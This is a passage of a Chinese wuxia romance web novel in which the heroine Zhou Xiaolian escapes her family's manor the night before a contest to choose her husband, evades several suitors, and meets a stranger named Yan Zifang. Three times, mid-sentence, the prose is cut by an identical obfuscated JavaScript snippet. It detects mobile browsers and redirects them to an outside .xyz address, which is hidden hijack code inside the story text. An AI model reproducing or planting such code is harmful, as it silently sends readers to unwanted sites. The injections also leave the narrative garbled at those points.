“姐姐!明明是他先出手!”乌兆星语带委屈,可还是硬生生止住动作,只靠轻功躲开甘霖挥来的那一剑。 这两人在江湖上是黑白两面,正邪两道的代表。交手多次,早已势同水火。 乌兆星看不惯甘霖正人君子的做派,甘霖也未必容得下乌兆星的离经叛道。 在小怜眼中,两人更是一猫一狗。猫狗争斗,何时能休? 小怜叹了口气,无奈道:“阿星,先住手。” 乌兆星更加委屈。 他若是生来就有狗尾巴和耳朵,只怕现在要垂下,搭在地上,扫来扫去了。 在这一群人中,乌兆星年纪最小,比十七的小怜还要小一岁。 小怜之前对他,也总是端姐姐的架子。 好在乌兆星是听管教的。 让这小子冷静下来之后,周小怜要解决的,就是另一边从京中来的两个男人了。 小怜远远朝他们一拱手,再抬头望去,褚见珏已经眼神痴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362281|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “原来是这样的俏娘子……”他喃喃一声,落进其他人耳中,像是什么地痞流氓犯花痴。险些激得乌兆星要和他拼命。 周小怜倒觉得褚见珏这句话,加之他面上失态神色,更像是对她的夸赞。 小怜心里默默自夸道:“是吧,我长得可好看了吧。你真是有福了,见过本姑娘的脸。” 不过当下也容不得她这样光明正大的孔雀开屏。小怜目光投向阮真棋,阮真棋也在看她。 黑黢黢的眼,望不见底,小怜看他的时候,总有几分发怵。 阮真棋城府深、家世水深、武功也深不可测,真是一个深深又秘秘的男人。 小怜客客气气,道:“殿下,别来无恙。” 阮真棋冷眼看着她,小怜又有几分心神荡漾。此人……真是危险,笑也不行,冷脸也不行。阮真棋——长得实在好看,冷艳无情。 虽然总是用艳字形容,可阮真棋却又不是那种女子春花鲜艳的美相。 剑眉星目,丹凤眼眼角飞翘,压着一股隐隐的妖气。偏偏皇子参禅,多年清修苦行,周身气质死死防着这股邪相。 看着分明该不协调的,可阮真棋就是让人能品摸出一股艳色来。 那对黑眼珠死死盯着小怜,被这样一个大美人看着,周小怜……还是有点爽到的。 “你就这么一句想和我说的?”阮真棋张口,吐出的言语却有几分幽幽的怨怼。小怜更爽了。 虽然表面上可不能让阮真棋看出来。要不然,他肯定觉得自己又被小怜羞辱,会比刚才的乌兆星表现得还要激动。 乌兆星还在旁边嚷嚷:“什么叫就一句?你能和我姐姐说上一句话,就牢牢的记一辈子吧。你是个什么心黑肠烂的糟东西,也配得上我姐姐?” 周小怜心中暗叹乌兆星实在肆意,这样指着阮真棋鼻子骂,还好是江湖人,江湖大魔头,全家早就死完了。 不然只怕全家也难逃皇子一怒啊。 小怜这么想着,嘴上无辜道:“殿下,你我今日可是第一次见面。洗雪山庄身在江湖,我和殿下,怎么会有别的话好讲?” 阮真棋听得出小怜的装腔作势,嗤笑道:“周二小姐好一个身在江湖。” “毕竟我是周二,殿下可切莫将我当做其他哪位露水情缘,”阮真棋总是死正经,周小怜就忍不住逗他,“这样对殿下、对我,都不好。” “况且殿下心中若是还惦记着那位姑娘,日后你我二人结为两姓之好,也只会徒增世间怨侣。” 周小怜道:“我不愿如此蹉跎光阴呢。” 她说得轻巧。将周二小姐和那个偷吻的女飞贼界限划分,将阮真棋推到了那个虚无缥缈的身份旁边,看似只是不喜欢阮真棋,不想和不喜欢的人成婚。实则却是实打实的在劝退在场的四人。 毕竟这些男人对于周小怜而言,总是太过美丽,太过危险。 这群天之骄子齐齐跨过她那一道假身份,追到她的比武招亲上来。本该是洗雪山庄闭起门来办的事情,如今成了武林盛会——此事会与他们几人有关系吗? 小怜若是有心和他们扯在一起,从前早就大可以表明身份,为自己讨一份好婚事。阮真棋是例外,但另外三人总会愿意的,不必像今日一样大张旗鼓的招婿。 可小怜不愿意,不想要,这才对谁都是逃之夭夭。 她不想对任何人负责任,只想快活一时。 被抛弃了还要找上门的桃花,只能是烂桃花。 烂人是该配烂桃花,可小怜不这么想。毕竟那小一年在江湖上走的又不是周二小姐,而是一个不知名的少女…… 再者,她怎么就不能浪子回头,重新找个心肠软的好人了? 虽然她从头到尾,都没打算要乖乖的在洗雪山庄,践行这一门被周珊瑚和周汀情挑选出来的婚事。 小怜这么说着,最为老实本分的甘霖却将她话头截断:“不是这么说的。” “嗯?” 甘霖一眼一板,认真道:“我总得对你负责。” 7. 夜逃如私奔 话虽如此,可来到这儿的每一个人,都是为了让周小怜负责的。甘霖是死脑筋,周小怜在旁人筹备比武招亲时,也早有备下一套说辞搪塞一定会来的他。 “负责?负什么责呢,”小怜鬓发乌亮,坠垂在肩前,手指又挑又捋,眼神飘忽不定,样子很不走心,“甘大侠就这样热衷于对素不相识的女子负责吗?” “是了,据我所知,甘大侠也说要对绥城的张大姑娘、蓬莱湾的三山女侠、庸丽台的左仙舵主负责——多我一个洗雪山庄的周二,想必对甘大侠来说,应当是手到擒来的事情。” 嘴上虽然提到这些姑娘,但周小怜还是暗暗在心中同几人道了声听不见的对不住。 真要说她们与甘霖有没有关系,周小怜再清楚不过。 毕竟这三处地方,三个女人,周小怜都去过,都认识。 张昆玉一心找失踪的妹妹,谢三山因为亲哥哥挖祖坟的事情忙得团团转……左仙,更喜欢听周小怜和男人剪不清理还乱的故事,对亲身入戏敬而远之。 甘霖听着小怜点兵似的一连串叫出三女名讳,忍不住眉头蹙起:“我与她们并非——” 周小怜快语说着,压根没给众人反应的机会。她神色夸张的斜斜倾倒,倚靠在窗框上幽泣:“反正你们谁也不在乎我到底是怎么想的,是吧?既如此,今夜便拿出真本事说话吧……” 比武招亲是他们唯一能抓着周小怜这条祸乱人间的大泥鳅的机会——可一定就非得要比武招亲当日才能动手吗? 在座的诸位都不是什么善茬,都与小怜关系匪浅。她这般话中的“今夜”二字,细细听来,分外刺耳,魔头乌兆星却当即领会其中真意,扬声道:“姐姐,我今晚就来接你!我们好好聊聊!” 很好,这样乖乖咬钩,让原本和谐的局势就被这么一句话搅浑了,不愧是乌兆星。 小怜计谋得逞,不再与他们多言,刹那间宽袖飞扬,身形彻底消失在猎月台窗边。身影袅袅,看得褚见珏又心神荡漾:“原来这便是江湖……果然还是画一样的女仙子……” 才不是嘞,这算什么狗屁江湖? 背身离开的周小怜不管身后窗外纷纷扰扰,她心跳声此时此刻如雷贯耳,砰砰响。 她的院子在后庄,若是想要在晚上将她掳走,那必然要从猎月台楼前经过。猎月台楼前的把守不必多说,可双拳难敌四手,更不要提万一这四个人都被自己说动,那就是八手,乱拳打死老师傅。 只要有人大张旗鼓的闯山门,周珊瑚和周汀情看在宾客的份上,不会坐视不管。除开这些,后庄剩下的人就是毒婆婆,猫婆婆……和狗。对于小怜而言,都不足为惧了。 也不是要和她们交手,只要跑,跑出洗雪山庄,渡过日月江就好。有一就有二,且第二次只会更加熟练,更加小心翼翼夹好尾巴。小怜本来还愁要怎么逃婚,玉石俱焚都盘算进去了,没想到这会儿竟然送上门四个讨债鬼当枕头。 这次得要逃很久,小怜闭门不出,在院子里养精蓄锐的这些日子,早已装好钱财和行囊。她慢慢离开丙申室,却没撤出猎月台……离开之前,她还有一件东西要从猎月台拿走。 癸字后十天干数尽,十一往上又用十四星曜为名。至于猎月台是否用的尽这些名字,可有这么高的楼?实在无从考证,也无人说尽。 猎月台越往上,越是机关险重,小怜十四岁,为了向周珊瑚证明自己练洗雪剑有所成果,拼死拼活到了戊,再上一层却宛若过天堑。 她第一次登己楼时,被不知从何处飞来一箭射穿肩膀,许久未断过的筋骨又断了一回。江湖人总讲百折不挠,但小怜从此心中对登楼总是蒙上一层幽影。 此后千百次日夜不休,从梯前往复踱步,不为人知。 就在这千百转柔肠不解后,少年小怜意外踩烂一块被虫啃烂的木板,又意外从这木板中,掏出一只木盒。 一只看似普普通通的木盒,却被机关死死锁着。这样神秘的盒子,一看就知道装了什么江湖秘辛,小怜不是没想过直接劈开,可无论剑砍火烧,这木盒总是纹丝不动。 此物蹊跷,实在诱惹小怜的好奇心。她一如往常般揭开木板,伏身去掏洞里的木盒——数月有余,那盒子还安然无恙放在其中。正好,今夜之后,她要带盒子出去见见世面。说不定遇着什么机缘,就能打开了呢? 小怜将木盒服帖揣进怀中,不忘扭头再去看看猎月台窗外,果然已人作鸟兽散尽,天际血阳残夕。乌兆星不守规矩,四男争强好胜,坐山观虎斗,再从混乱中伺机脱身,是小怜的计。 周小怜回到自己的小院,春静已离开许久。她围着小院转了一圈,确认附近的确再无盯梢的人,便回到房中,将藏在床底的包袱捞了出来,小心翼翼地把木盒又塞进去。 亥时,月明星稀,乌鹊声远,周小怜吹灭烛光。一切准备妥帖,她刻意又等上两刻,吐息平稳,佯装自己已然睡熟,春静曾在门外短暂的看守片刻,也不知外面现在到底是如何情状。小怜没听到什么声响,无所谓了。 她抄起掩在被褥下的包裹,身轻如燕,脚尖一点便翻过木窗窗沿。她今夜特意没有关窗,可出乎小怜意料的是,最先动作……或者说最先来到她这里的,不是乌兆星,而是甘霖。 “你要逃,”甘霖屈膝坐在她窗后墙头,怀中抱剑,薄薄的背脊上是一片薄薄的月光,“你利用我们。” 小怜被他说的掌心发烫,心口瘙痒,好像一层皮被甘霖轻飘飘地扒下来。 她不再装了,道:“这不算利用,我没有说错,你们本来也是为了把我抢走才来的。” 甘霖将剑捉在手中,半寸溜出剑鞘,玄光冷铁,看得人只觉心惊动魄。他长长叹了一口气,道:“辛辛,你别骗我。” 辛辛是小怜搪塞甘霖时用的假名字,她起的不大走心,说不上多喜欢这个名字。可这会儿被甘霖提起,她一边觉得骨头发酥,一边觉得心里虚冷,甘霖哪有这样柔肠百转的说过话?他缓缓将小怜看过,俯视的视线像舔舐,像湿漉漉的舌头。 小怜翻过了窗户,难得诚恳道:“我不想对你出手,放我走吧。” 甘霖闷哼:“你走不了的。” “乌兆星听了你的话,和周汀情打起来了;阮真棋看穿了你的算盘,不愿插手,他不爱你;褚见珏……用喝酒绊住了周庄主。我是受周庄主所托,来看着你的。” “辛辛,你绞尽脑汁,把我送到你身边了。” 他话音甫落,一道雪光亮彻,灵蛇般冲过他脸颊。 剑的速度极快,小怜又一掌拍在他剑鞘上。五指如鹰爪死死扣住他怀中长剑。 春日游,杏花吹满头。 陌上谁家年少、足风流? 眼若雪洗,口若含丹。 小怜,辛辛,身随剑动,如燕儿一样飞上墙头。可除了扣住甘霖的剑,她再没有动手,只是像小兽般懵懵懂懂凑过去,两人鼻尖相抵,再无寸近,可已然肌肤相贴。一股水兰的气息,灌满甘霖的鼻腔。 她眸中泪光盈盈,甘霖看得一清二楚,辛辛的发丝乱了,甘霖的呼吸乱了,剑心也乱了。 明明是小怜先出的剑,怎么她却像是受了天大的委屈一般?谁逼她……非得如此吗? 甘霖的脑中一地糊涂,天人交战,小怜却又变了。她抱住甘霖脖颈,少年身体一僵,两只手不知该如何动作。 要如何轻轻抱住她?那一夜不能明白的事情,这一夜,甘霖也并不明白。 小怜只要勾勾手指,就又能牵着他的心走了,怎么会这样?他来这里……原本有许多话想说,可心上一块被剪出来的口,都被小怜堵住了。 小怜泣音缠绵,依偎在他肩膀上。她明明装得不大像,甘霖却还是呆住,小怜弱弱道:“大侠,放辛辛走吧。” “辛辛在这里不开心,很不开心,所以才想着走的。别怪辛辛好吗?” 狐狸精女妖精,妲己,坏女人辛辛。甘霖有些失态的在心里把认识的狐狸全数了个遍,眼睛放空了,却好像能看到小怜的狐狸尾巴,红色的,一摇一晃,一卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362282|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一摆,垂在墙头。 他们两人的十指不知何时扣在一起的,甘霖还没发现小怜早松开他的剑。他喃喃,挑起另一个无关紧要的话头:“我和张大姑娘、三山女侠、左仙舵主都没有关系。” “嗯?”倏地提及这个话题,小怜还有些恍惚,腰间紧了紧,手上一松,是甘霖主动松开的,他早想这样抱住她。 颈窝里有一点热气,甘霖幽幽道:“辛辛,我只想过对你负责。你是很好,很好的……” “你不能不要我,也不能要了我就跑。” “我到处都找不到你,湘南河东、绥城梵芙原、灯心岗……你说过的地方,都在离日月江很远,很远的地方。” 甘霖抱的越来越紧,小怜知道他都去过那些地方了,追随着她的脚步,于是顿感窒息,仿若被水鬼缠身。 她慌张道:“甘霖,我没骗你,我真的去过那些地方。” 甘霖轻轻“嗯”了一声,脸又贴过去,道:“就算你骗我,我也不怪你,辛辛。你在这里不开心,我就带你走。你日后想去哪里,我都陪你。” 他臂弯勾着小怜,稍一用力,便携带着小怜也一同站起来。原先在猎月台上小怜还不曾察觉,可如今那么近,小怜这才发现,甘霖身量与五月之前已大有不同。 肩宽、身长、腰腹……有所长,武功亦是长进。 小怜攥紧了行囊。她原本想牺牲一下色相,甘霖心眼实,很容易被她迷惑,届时再对甘霖出手就是了。可小怜没想到短短几句话中,事出突然数回,她若与甘霖正面博弈绝无胜算。 虽说车到山前必有路,小怜深深看了身侧的甘霖一眼……周珊瑚派他来看着自己,无非是信任甘大侠少年英雄,绝不会做背信弃义的事情。 可人终究是人,若为欲望,监守自盗也未尝不可。 小怜被甘霖挟在怀中,向着洗雪山庄庄外飞驰。庄内一路上寂寥无声,灯火茫茫,乌兆星当真和周汀情动手了吗?就在两人即将抵达洗雪山庄边界时,一支暗箭穿云射来,小怜有所察觉,却闷声不响,眼睁睁看那根羽箭正中甘霖腰后。 机不可失。小怜果断夺过甘霖腰间长剑,一掌推向他肩头! 洗雪心法流淌之间,穷力一击,甘霖不曾防备,身飘出数米之远,一路跌入垂柳湖中。 他眼神空空,不甘过重。甘霖自知此时松手,小怜必然逃之夭夭,可眼中仍然只容得下小怜决然离开的身影。 在被湖水淹没之前,小怜颤声,字字如珠玑,刻入他耳中: “大侠,是辛辛对不住你,此后还是忘了辛辛吧!” 洗雪山庄环界设有岗哨,若非从小怜早已规划好的幽径走,擅闯离开,只有死路一条。 而今甘霖坠湖,凭他卓绝武功,心性颇高,遭小怜再度背叛,绝不可能自甘溺毙水中。 而从无光地中钻出的下一箭,直愣愣射向小怜。 甘霖的剑,叫鹦鹉,名家所造,江湖人尽皆知。此剑出剑剑身嗡鸣,宛若鹦鹉语。 小怜反手格住箭矢,鹦鹉不是她的剑,可她用起来得心应手。 箭支如飒沓流星,小怜且战且退,射箭之人不愿轻放她过,将她步步逼入角落。 到最后,竟直向她心□□去,此绝非洗雪山庄门人敢为——如此阴狠毒辣的手段,绝对是阮真棋! 剑光不输流箭半分,密如雨织,来者一改断首断尾,小怜的剑毫不留情,鹦鹉在她手中狂吠不止,全然不像在甘霖手中时温驯。 小怜许久不用也不练洗雪剑法,可如今应对起来还算得心应手。只是情势所迫,小怜斩断不知道多少箭后,略显疲态,如此下去只会被阮真棋磨光力气。 小怜都能想到阮真棋那双冷冷的眼……他是真的恨自己,算了,也是咎由自取。 小怜扔了鹦鹉剑,阮真棋的箭仍咬在她身后不舍放过,少女轻巧跃过一片又一片房屋,形如鬼魅,直至奔到一株大榕树前。 大榕独木成林,有茂叶遮挡,阮真棋失了目标,箭终于停下。 8. 燕鼠旅 小怜一手扶住树干,急急咳嗽几声,喉中一股血气。数月不练,她腿脚功夫倒退的可怕,周小怜浑身都是冷汗,止不住暗自心惊。 方才光是将甘霖击飞,斩断冷箭,已经让她精疲力尽,真气如今尚存一二,若还是贼心不死的想出逃,只怕唯有今晚的机会了。 顾不上阮真棋是否还在蹲守自己,小怜蹒跚往西走。上次她钻了后山阿灵的狗洞,后来那块地别说狗洞了,只怕连蚂蚁洞也补了个干净。 小怜现在所在的地方,是洗雪山庄埋死人划出的一片坟岗,她全凭脑海中那点模模糊糊的记忆,矮身钻入一处灌木丛。一点点扭着身子爬行,竟真让她摸到一处容得孩童穿过的小洞。 是这儿。 小怜站起身,这是洗雪山庄唯一一处,哨岗望不见的盲点。与十一年前的记忆相比,这里太荒凉了,怀芳死后,只有一棵大榕树孤零零守着,山庄里再也没有孩子会过来玩闹,就连小怜也不会来。 想到怀芳,光是想想这两个字,小怜心头便是一种绝无法熄灭的胀痛。 那是与被母姐冷待、被断骨断筋,都截然不同的一种痛意…… 小怜望向大树,当年她为怀芳扶灵,把怀芳的棺椁亲手葬于这棵树下。 父亲最后一次拥抱她,也发生在这棵树下。那时他看自己,眼神难得有几分可怜,但更像看蝼蚁濒死挣扎:“小怜,别哭了,不是你的错。” “人啊……总是要死的。” “可是怀芳本来不会死!”小怜拧着嘴角,哀哀挤出一声泣音。父亲看上去又似乎很头疼。 年幼的怀芳不治身亡,活生生的人,在她眼前噎了气,死得无从辩解。都怪小怜没能找来周珊瑚和周汀情,她跪在怀芳的床榻边哭干眼睛,也恨自己。 一旦追忆起这些往事,小怜便难以抑制的发痴。她体内真气本就滞涩,十不存一,难守丹田,如此心神激荡下,隐有逆流之相。 小怜被那口气倒冲心脉,一口鲜血喷在墙上,终于清醒一些。 “……唉,算了,”她像父亲一样劝劝自己,让夜风渡走这片积年已久,郁结不化的腥气。小怜囫囵擦了擦唇角,“想这么多干嘛呢,人都死了那么多年了。” 她不再作他想,一鼓作气扒上墙边,再借力将自己撑起,手脚并用的糊涂爬了上去。下去就比上去方便多了,小怜晃晃腿便跳,行云流水的在地上滚了一圈卸力。 剑光就这么被送入她眼前。 ……不对,是刀。 尖端是斜平的横刀,刀身狭直,正虎视眈眈的从下方,对准小怜额头眉心。 她下意识调转丹田真气,可洗雪心诀不再流转,小怜真气顷刻间空了个彻底,奇怪,明明方才还有—— 小怜不禁讶异,可事出从急,不得不先对那柄眼前的长刀服软。 居然被人在不知不觉间直指死门,来者不是善茬。小怜惊愕抬头,面前人身形修长,肩宽,腰窄,面容晦暗不清,全身上下被裹得严实,但依稀还可以看见脖颈和手腕露出一点皮肤……白,玉人皓腕,小怜心如擂鼓。 “周二小姐?” 那人率先开口,是男声,寒潭幽泉声,听者——周二小姐本人忍不住抖抖。 一见面就是用刀打招呼,难道是洗雪山庄在外结的怨,仇家上门索命来了?可那又怎么会直接喊周二小姐…… 小怜一瞬间里想不通那么多异处,张口就来:“我是辛辛……是洗雪山庄的侍女……” 都出了洗雪山庄的墙了,世上哪里还会有周二呢?周二只会留在洗雪山庄中。辛辛这名字捡起来还能再用用,反正也就甘霖一个人知道这个名字。乌兆星叫她姐姐,阮真棋叫她妖女,褚见珏压根不把她当人,只把她当画中仙子看! 那人顿了顿,似乎也不在意她到底是叫辛辛还是甘甘。他声音有点发闷,“辛辛?” 刀还架在她眼前,小怜听出他语气几分不善,忙顺杆子爬,甚至有几分猥琐讨好,讪笑结巴道:“是,是辛辛!大、大、大侠可是、有什么事情?” “……你叫辛辛?”他俯下一点身,似乎是在确认小怜的神情,小怜这才看清他长相。 玉人般的,眉山沉青。眼睛是有弯弧的桃花眼,饶是现在有几分不耐抿着唇,也像在笑,可偏偏一副冷相。鼻若悬胆,鼻梁上缀着一点乌黑小痣,薄唇无情,侠士是无情人。 小怜看得有几分眼热,老毛病要犯,可眼下哪里是她犯痴病的时机? 他执拗问道:“哪个辛?” 小怜不假思索道:“含辛茹苦的辛!” “不吉利,”男人收了刀,似乎真把她当做手无缚鸡之力的普通人了。小怜不敢动弹,仍跪在地上,只听他道,“还不起来吗?” “哎、哎,这就起来。” 装货! 辛辛哪里不吉利?这是她对自己多年以来在洗雪山庄苦闷半生最好的总结。 小怜心里头默默地对男人挑剔回去:他不伸手,没拉她一把,还拿刀指着她……不是个好人。 她口是心非,暗自嘟囔过又要腆着笑道:“辛辛多谢大侠……” 小怜甫一站稳,又被男人毫不怜惜的一手掐住后脖颈。指上力道适中,不算难受,宽大的掌心外套着一层裹住整只手掌的厚皮革,原来他戴着手套,是了。不然怎么会只能看见他的手腕? 只是这样突如其来的,像抓猫崽子似的逮着她,把小怜吓了一跳:“大、大侠这是要?” 那人理所当然道:“你是洗雪山庄的门人,自然是送你回去。” 手掌和脖颈,两人隔着一层皮又一层皮,只是相贴的这一块缝隙中,不知不觉溜进去几根小怜的发丝,挠得她心里又慌又痒。 小怜迟迟的感到奇怪,不就是被摸个脖子吗?怎么那么痒——不对。 小怜驳道:“我不要!” 她慌乱中出手,竟真猛地推开了身后的男人。 早知道刚才就不把鹦鹉丢开了!小怜有些埋怨自己良心尚存,后悔鹦鹉是多好的剑,偷来用用又能如何? 她肩膀抖得厉害,听到男人吐出冷冰冰的回去两字,声线和一颗心也抖得厉害。 “大侠既然是为周二小姐而来,为何要为难辛辛?江湖人尽皆知,出逃洗雪山庄九死一生。大侠若要把辛辛送回去,还不如直接在这里杀了辛辛!” 似是小怜这样的回答出乎意料。那人顿了顿,他是想要好好解释的,可抬起头,目中突然闯入小怜呼吸间就变得湿漉漉的一张脸。 他好一会儿才道:“你误会了。我不是为了杀你才把你送回去的,你……” 小怜不知不觉,原来已经在啜泣,半点也没听进去他说的话,只一昧打断道:“我没有误会!你既然要杀我,我也告诉你好了!” “你若是为了周二来的,我便是周小怜——不,我是周二,洗雪山庄的二小姐,周汀情的妹妹,周珊瑚的二女儿。” 天啊,要把她送回去还不如把她杀了!反正如今会在洗雪山庄的陌生男人,不都是为了那狗屁的比武招亲来的? 虽说小怜殷殷真心,早在被周珊瑚定下比武招亲的那一夜,便已烧成一把焚尽的死灰……可难道谁不允许死灰还有复燃之意呢? 小怜脑袋发晕,喘上一股昏麻胀意,喉头紧疼。 “我不这么说,你肯定都不知道周小怜是谁。你们这几日来洗雪山庄的人,根本不知道周二小姐叫周小怜。” “你把我抓回去吧,我也不活了!你把我送回去吧,我谁也不嫁,就立马找个地方吊死。” 小怜将多日以来的满腔怨怼不满嘶吼出声,就在此刻对着一个陌生人决堤溢出。她泪珠一滴又一滴,也不擦去,任凭其在脸上胡乱流淌,坠地碎玉,变成了地上的一弧月亮。 若不是真气力竭,否则定要与此人鏖战一番,何至于现在这般狼狈的求饶? 周小怜泪如雨下,脸上火辣辣烧红一片。她羞赧于对一个陌生人剖开一点自己,歇斯底里的倾诉,居然不是为了寻欢作乐,而是她真的很想哭。 真情是她唯一很珍视的东西…… 小怜怒急攻心,也顾不上其他。她抓着男人的手,就按在自己脖子上,有几分赴死的决绝:“你就这样把我送回去吧,我认了。你也想要周二小姐是不是?说不定你今晚把我送回去,她们比武招亲也不办了,就这样说我坏了名声,顺水推舟的把我嫁给你——” 那只被她拽住的手没有动作,男人比她高出许多,不只一个头。小怜垂着眼睑,泪还在掉,她没有看他,一墙之隔,洗雪山庄静谧无声,如蛰伏在暗处的巨兽一般。 小怜迟迟没有等来男人的动作,两人就这样僵在原地。小怜已从被迫归家,想到了与母姐殊死一搏…… 可男人如果真要掐着她回去,说不准会不会一入洗雪山庄,就被藏匿暗处的阮真棋和岗哨射成筛子。 唉,自己到底在哭什么呢?这不是车到山前必有路了吗! 周小怜在脑海里粗略打磨了一番计划,就这样轻而易举地把自己哄好了。 只是她刚刚宁死不屈,气血上涌要引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362283|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈就戮。现在被一声不吭的晾着不提,若回心转意主动勾他入圈套,又显得变脸太快。 进退两难,小怜自觉难堪尴尬。 她眼珠子乌溜溜地打转,忍不住打了个抖,心想:“我刚才也真是有病,莫名其妙的对这个人大吐苦水,阮真棋怎么就没追过来揍我?烂桃花,一点用也没有。” 周小怜难得对自己轻浮的行径恼羞成怒,她急性子,等不下去了。刚想要挥开男人的手,却听到他终于开口说:“二小姐,别哭了。我不送你回去就是。” 小怜闻言愣神,闷声道:“当真?” 男人放下了那只虚握住她脖颈的手,转而僵硬的用拇指摁上她的脸颊。 干燥的牛皮从脸上轻轻蹭过去,像是在给她擦眼泪。可适得其反,他把眼泪和泪痕全都抹开了,小怜的脸上现在又滑又腻,加倍狼狈。 男人点了点头,说:“不骗你。” 被摸成一只花猫的小怜没有动,这样笨拙的动作让她想起来一个死人的影子。 这样摸她脸的方式很熟悉,熟悉到让她下意识失魂落魄,背脊发凉。 但斯人已逝多年,眼前人绝非,绝不可能是她。小怜虽然自欺欺人,但又分得清楚,心很快冷寂下来。 男人不动声色收回了手,装作一切都没有发生过,他面色如常。 小怜微微颔首,道:“若是真的,多谢。” 她说着,又忍不住为自己争辩一句:“你……别想太多了!我本来不是这样眼泪多的人,我娘说我生出来的时候是个不会哭的哑炮!” 男人看上去应该不大在乎她眼泪多不多,道:“嗯,那不重要,你想过之后做什么吗?” 自己去哪里和他有什么关系?男人如此详尽的追问,小怜隐隐有些膈应,但还是回道:“……四处逛逛?反正,只要不是在洗雪山庄,我去哪里都无所谓。” “这样,”男人沉吟,“那你和谁去也是无所谓吗?” “当然了,和谁都……嗯?” 小怜漫游的神思倏地顿住,她明白男人这句话的意思,可偏偏是从这个一开始举着刀对准她的男人嘴里说出来…… 奇怪,她都这样肆无忌惮,不讲道理的发了一场疯,男人居然还对她贼心不死吗? 男人觉察出她的迟疑,道:“怎么了?” 小怜那慢钝的戒备心这会儿终于涌上来了,尽管她爱好露水情缘,可她并不认为这是谈情的好时刻,况且男人看似也不是一个良人。面相不好,没救的。 对方相貌虽然较之褚见珏四人并不落于下风,甚至更胜四男。但最初那点绮念遐想,早已随着她的泪水一同流尽。 少女的心,又或者说小怜的心,比蜉蝣的死生变得还要快。 她语速变快,带了几分划清界限的恭敬。这一刻,她只想和男人讲清楚:“大侠,若你对我有意,还请容小女先与你论个明白。” “我这个人水性杨花招蜂引蝶沾花惹草,也不信真心真情。今夜你愿意放我离开,我一辈子都挂念你的好。除了这份感激之情,其余的,我什么都给不了你。” “……我不需要你的挂念,”男人听完她这一串话,直摇头,“既然你就是周二姑娘,那我要你帮我办一件事情。” ……哦,原来是自己自作多情啊!小怜挠了挠自己的脸,又有点不好意思,不对,都怪这个人刚才乱摸自己的脸! 是他的错!小怜在心中呐喊一声,又不禁思考起来。 可就算是周二小姐,她身上又有什么是值得他人惦记的? 小怜撇开情情爱爱,抛去身后背靠的洗雪山庄。小怜……小怜自己身上,空无一物,只有一个打不开的木匣子,会和那个有关吗?不,木匣子除了她没人知道。 那小怜还有什么呢?她的剑? “你是不是想学洗雪剑?”小怜想到哪便问到哪。 男人还是摇头,“不,我要的东西与你父亲有关。” “总之,这里不是说话的地方。你不是想走吗,还不走?” “……”此人也真是想一出是一出,小怜无言。 关于她父亲的事情,她已经记不得多少了,可偏偏这个男人是为了她父亲的事情找到她。 算了,先走吧。小怜决定做得很快,她抹了把脸,顺口问道:“你叫什么名字?” “紫芳。” 燕紫芳在墙下见到从天而降的小怜时,就抿住了一口气。 此时此刻,他终于找到吐出的机会。 “姓燕,名叫紫芳。” 9. 还心记 日月江分南北两岸,宽浪激涛,浩浩汤汤。古往今来,多少英雄豪杰,不能摇橹过此江。只留血与魂,将南北涂遍。 在周女侠过江前,它是凶江;周女侠过江后,它是日月江。 当年周女侠刺帝不成,败走离京,因身入世俗,她此生不得归乡寻宁。正值少女剑心忧荡,意志踌躇之际,她孤身一人,策马至凶江江畔。 彼时日已为暮时红夕,半边天似金火悬照,漫野连天空烧,霞光朱色,不见一片薄月。 凶江江畔船家,那日正欲收桨归家,却见失魂落魄的她正要与白马一同坠入沸沸江水间。 船家见状,不忍香魂杳然于此绝地,正欲施手援救间—— 下一瞬,她却见女侠一手勒紧马上缰绳,情态宛若醉溺。一人一马灵犀相通,观者望不见江上礁石,却能看到她们扬身踩浪,轻盈如鱼,游腾于滚滚水波中。 如此浩荡之景,船家不禁与女侠同醉去,浑然不察少女竟在须臾之间,已然飞渡凶江,缥缈远去。 芳驰驭遥夜,流星踏浪雪。 一抹纤瘦兰月,与她的白马,就如此轻易地,将自己印在这千百年来,无人能征服的江水中。 日月同辉,日月江,它的名出于周女侠之身。 一代传奇隐隐于日月江北,玉芦苇荡。 此数十载后,她的洗雪山庄初成,代代人才辈出,蒙受她福荫遮蔽的洗雪山庄后生们,大多也对周女侠敬爱有加……这么多年以来,唯有一人除外。 洗雪山庄于三日前,突然叫停了那一桩广为人知的比武招亲。 庄主周珊瑚于庄中直言:“二小姐忽染重病在身,只怕香消玉殒,也不过是在数月之间。这样的身子,自然不能再行结亲之事。” 然而世间多少男子,都为这一门亲事不辞路途万里,山水迢迢,相继赶赴洗雪山庄。虽说不乏有人是真好奇这天下第一美人究竟长相如何,但于他们而言,更值得谋算的,是能攀上洗雪山庄这一株大树。 